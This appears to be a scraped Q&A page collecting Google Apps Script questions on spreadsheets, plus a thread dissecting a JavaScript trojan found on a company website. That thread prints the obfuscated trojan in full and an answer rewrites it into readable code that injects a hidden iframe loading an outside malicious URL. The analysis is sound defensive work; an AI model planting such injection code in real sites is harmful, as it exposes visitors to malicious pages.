One spreadsheet for each user - javascript

I have a code in GAS that works with a spreadsheet at the background and it works for a single use simultaneously.
The problem is that I want to create a copy of the spreadsheet, at the beginning of the code, for the interaction with every user that enter at the web App.
I tried two possibilities:
Create the duplicate at the beginning of the main.js in order to be recognized as global variable for every function in the code, but the code creates repetitive files when I interact with any element at the web page because Javascript read the codes with every interaction.
Create the duplicate within DoGet function creating at the end a variable linked to the Id or to the new file, but the rest of functions don't recognized that variable like a global variable, even declaring the variable at the beginning of the main.js
Code
var x;
if(x == null){
var myArray = crearnuevoarchivo(x);
x = myArray[0];
var database = myArray[1];
}
const sheetConfiguracion = database.getSheetByName("Configuracion");
var lastRowProgramas = lastRowForColumn(sheetConfiguracion, 18);
var lastRowMandos = lastRowForColumn(sheetConfiguracion, 12);
const sheetTipos = database.getSheetByName("Tipos");
var lastRowTipos = sheetTipos.getLastRow();
const sheetSolicitud = database.getSheetByName("Solicitud");
const registro_peticiones = SpreadsheetApp.openById('xxxxxxxxxxxxxx');
const sheetRegistro = registro_peticiones.getSheetByName("Registro");
const sheetHerramientas = database.getSheetByName("Herramientas");
var lastRowHerramientas = lastRowForColumn(sheetHerramientas, 1);
const sheetSolicitudFOD = database.getSheetByName("Solicitud_FOD");
const sheetfotosID = database.getSheetByName("FotosID");
function crearnuevoarchivo(x){
if(x == null){
const database2 = SpreadsheetApp.openById('xxxxxxxxxxxxxx');
var hoyarchivo = new Date();
var mesarchivo = hoyarchivo.getMonth() + 1;
var fechaarchivo = mesarchivo+"/"+hoyarchivo.getFullYear();
const databaseID = DriveApp.getFileById('xxxxxxxxxx').makeCopy('database '+fechaarchivo, DriveApp.getFolderById('xxxxxxxxxxxxx')).getId();
var database = SpreadsheetApp.openById(databaseID);
x = 1;
var myArray = new Array(2);
myArray[0] = x;
myArray[1] = database;
return myArray
}
}
var rutaWeb = ScriptApp.getService().getUrl();
function doGet(e) {
if(e.parameter.p){
var page = e.parameter.p;
if(page == "noFOD"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var valor = nuevaSheet.getRange(2, 14).getValue();
return HtmlService.createTemplateFromFile(page).evaluate();
}
else{
if(page == "catalogo"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
nuevaSheet.getRange(3, 14).setValue(1);
var valor = nuevaSheet.getRange(3, 14).getValue();
return HtmlService.createTemplateFromFile(page).evaluate();
}
if(page == "index"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var valor = nuevaSheet.getRange(5, 14).getValue();
var r = 5;
borrar_registro_noFOD();
borrar_registro_FOD()
return HtmlService.createTemplateFromFile(page).evaluate();
}
if(page == "FOD"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var valor = nuevaSheet.getRange(4, 14).getValue();
var r = 4;
return HtmlService.createTemplateFromFile(page).evaluate();
}
if(page == "catalogoFOD"){
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
var r = 6;
nuevaSheet.getRange(6, 14).setValue(r)
return HtmlService.createTemplateFromFile(page).evaluate();
}
}
}else{
var out = new Array()
var sheets = database.getSheets();
for (var i=12 ; i < sheets.length ; i++){
var sheet= database.getSheetByName(sheets[i].getName());
database.deleteSheet(sheet);
}
const sheetTipos = database.getSheetByName("Tipos");
sheetTipos.copyTo(database);
var hojas = database.getSheets();
var nuevaSheet = hojas.pop();
nuevaSheet.getRange(2, 14).setValue(0);
nuevaSheet.getRange(3, 14).setValue(0);
nuevaSheet.getRange(4, 14).setValue(0);
nuevaSheet.getRange(5, 14).setValue(0);
nuevaSheet.getRange(1, 14, 7, 1).clearContent();
nuevaSheet.getRange(2, 14, 6, 1).setValue(0);
nuevaSheet.getRange(1, 15, 100, 7).clearContent();
borrar_registro_noFOD(database);
borrar_registro_FOD(database)
var x = 1;
var page = "index";
}
return HtmlService.createTemplateFromFile(page).evaluate();
}
Example of parameters that I'm passing from Index.html
/* <a href="<?!= rutaWeb + '?p=noFOD' ?>" */

Global variables in Apps Script are different from global variables in other programming languages.
A way of storing global variables is making use of the PropertiesService class in Apps Script and using:
setProperty(key, value) - for storing the key-value pair;
getProperty(key) - for retrieving the value associated with the key.
Reference
Apps Script Properties Class.

Related

Faster way to collect data from JSON than looping in spreadsheet

I am learning Javascript and this is my first time working with Google Sheets Apps Script. What I am doing is taking a large JSON file and importing it into my sheet. After that I am populating a few hundred properties based on the key:value found in the JSON.
This is how it kinda works right now:
Go to first column and first row of my sheet.
Get the name (property name).
Search the JSON for the key and then grab the value.
Update a neighbor cell with the value found in the JSON.
Right now it all works the only issue is it seems to be pretty slow. It takes about .5-1 second per lookup and when I have 200+ properties it just seems slow. This might just be a limitation or it might be my logic.
My sheet can be found here: https://docs.google.com/spreadsheets/d/1tt3eh1RjL_CbUIaPzj10DbocgyDC0iNRIba2B4YTGgg/edit#gid=0
My function that does everything:
function parse() {
var ss = SpreadsheetApp.getActiveSpreadsheet();
var sheet = ss.getSheets()[0];
var range = sheet.getRange(2,1);
var range1 = sheet.getRange("A2");
var cell = range.getCell(1, 1);
var event_line = cell.getValue();
var tmp = event_line.split(". ");
var col_number = tmp[0];
var event_name = tmp[1];
event_json = get_json_from_cell(col_number);
const obj = JSON.parse(event_json);
var traits = obj.context.traits;
var properties = obj.properties;
//Get the range for the section where properties are
var traits_range = sheet.getRange("contextTraits");
var allprop = sheet.getRange("testAll");
var alllen = allprop.getNumRows();
var length = traits_range.getNumRows();
for (var i = 1; i < length; i++) {
var cell = traits_range.getCell(i, 1);
var req = traits_range.getCell(i, 4).getValue();
var trait = cell.getValue();
var result = traits[trait];
var result_cell = traits_range.getCell(i, 3);
if (result == undefined) {
if (req == "y"){
result = "MISSING REQ";
result_cell.setBackground("red");
} else {
result = "MISSING";
result_cell.setBackground("green");
}
} else {
result_cell.setBackground("blue");
}
result_cell.setValue(result);
Logger.log(result);
}
for (var i = 1; i < alllen; i++) {
var cell = allprop.getCell(i,1);
var req = allprop.getCell(i, 4).getValue();
var prop = cell.getValue();
var result = properties[prop];
var result_cell = allprop.getCell(i, 3);
if (result == undefined) {
if (req == "y"){
result = "MISSING REQ";
result_cell.setBackground("red");
} else {
result = "MISSING";
result_cell.setBackground("green");
}
} else {
result_cell.setBackground("blue");
}
result_cell.setValue(result);
}
Logger.log(result);
}

Delete Duplicate Data using Google Script

I am trying to make a script to automate deleting duplicate data based on column A. This is the current script I am using and it works.
// This scripts works but deleting new data instead of old data
function removeDuplicates() {
var sheetName = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet().getName();
var ss = SpreadsheetApp.getActive();
var sh = ss.getSheetByName(sheetName);
var vA = sh.getDataRange().getValues();
var hA = vA[0];
var hObj = {};
hA.forEach(function(e, i) {
hObj[e] = i;
});
var uA = [];
var d = 0;
for (var i = 0; i <= vA.length; i++) {
if (uA.indexOf(vA[i][hObj['key']]) == -1) {
uA.push(vA[i][hObj['key']]);
} else {
//sh.deleteRow(i + 1 - d++);
sh.deleteRow((parseInt(i)+1) - d);
d++;
}
}
};
But this one is deleting the newly added row, what I want to achieve is it should delete the old duplicate row instead. How can I do that?
In else part instead of using i which represent your current row, use the indexOf the row you want to delete. Delete it first and then push the new one into array
// This scripts works but deleting new data instead of old data
function removeDuplicates() {
var sheetName = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet().getName();
var ss = SpreadsheetApp.getActive();
var sh = ss.getSheetByName(sheetName);
var vA = sh.getDataRange().getValues();
var hA = vA[0];
var hObj = {};
hA.forEach(function(e, i) {
hObj[e] = i;
});
var uA = [];
var d = 0;
for (var i = 0; i <= vA.length; i++) {
if (uA.indexOf(vA[i][hObj['key']]) == -1) {
uA.push(vA[i][hObj['key']]);
} else {
//sh.deleteRow(i + 1 - d++);
let j = uA.indexOf(vA[i][hObj['key']]);
sh.deleteRow((parseInt(j)+1) - d);
d++;
uA.push(vA[i][hObj['key']]);
}
}
};

add dependet values and and return all matched

I would like to add another dependency to look for in arrays. So if a user types the name of a student and the subject list,all the results of the supportlist are showed.
I have setup 3 arrays but i'm not sure how to go further.
gs code
function getStudentInfo(studentName){
//var lookupValue = "support";
var ss = SpreadsheetApp.openByUrl(url);
var ws =ss.getSheetByName("logboek1");
var lc =ss.getLastColumn();
//var data = ws.getRange(1, 1, ws.getLastRow(), 2).getValues()[0];
var data = ws.getRange(1, 1, ws.getLastRow(), lc).getValues();
//var index = data.indexOf(lookupValue) + 1;
var studentNameList = data.map(function(r) { return r[0]; });
var subjectList = data.map(function(r) { return r[1]; });
var supportList = data.map(function(r) { return r[4]; });
//Logger.log(supportList);
var position = studentNameList.indexOf(studentName);
if(position > -1){
return subjectList[position];
js code
}
function getEstimate(){
var zipCode = document.getElementById("zip").value;
if(zipCode){
google.script.run.withSuccessHandler(updateEstimate).getCost(zipCode);
}
}
function updateEstimate(cost){
document.getElementById("est").value =cost;
M.updateTextFields();
}
function getEstimate1(){
var studentName = document.getElementById("zip1").value;
if(studentName){
google.script.run.withSuccessHandler(updatestudentInfo)
.getStudentInfo(studentName);
}
}
function updatestudentInfo(info){
document.getElementById("est1").value =info;
M.updateTextFields();
Wat i would like is to add another dependency. So if a user types the studentName, (if the subjects are available for that student)chooses for the subjectList(that are available for that student) and then gets all of the results of the supportlist that belongs by the student.

javascript google script appendRow fails Service Error

I have a Google Apps Script that has been running for 3 months and starting a few weeks ago I'm getting a "Service Error" on the Appendrow function which I've bolded below. Any ideas on how to fix this?
function updateACOPS2(){
var ss = SpreadsheetApp.openById(".....")
var sheetSubmission = ss.getSheetByName("Sheet8");
var dataSubmission = sheetSubmission.getDataRange().getValues();
var lastColSubmission = sheetSubmission.getLastColumn();
var ssActive = SpreadsheetApp.openById("....")
var sheetActive = ssActive.getSheetByName("AcopsAll");
var sheetMain = ssActive.getSheetByName("Sheet1");
var dataActive = sheetActive.getDataRange().getValues();
var lastrow = sheetActive.getLastRow();
for(var i = 1; i < dataSubmission.length && dataSubmission[i][2] != ""; i++){
var currentIDSubmission = dataSubmission[i][2] + dataSubmission[i][3];
var checkGotMatch = false;
var toCopyRow = sheetSubmission.getRange(i+1,1,1,71);
// copy entire row for new record
Logger.log(currentIDSubmission);
// if there is a matching record flag as matched
for(var j = 1; j<dataActive.length; j++){
var currentIDActive = dataActive[j][2] + dataActive[j][3];
var currentIDSub = dataSubmission[i][2];
if(currentIDSub != '' && currentIDSubmission == currentIDActive){
checkGotMatch = true;
Logger.log(currentIDActive);
break;
}
}
// if it is a new record Append entire row
if(currentIDSub != '' && checkGotMatch == false){
**sheetMain.appendRow(toCopyRow.getValues()[0]);**
}
}
SpreadsheetApp.flush();
ss.toast("ACOPS Active has been updated.", "Complete");
}
In appendRow you need to pass an array so update your appendRow and try
sheetMain.appendRow([toCopyRow.getValues()[0]])

JavaScript trojan dissection

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();
It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.

Categories

Resources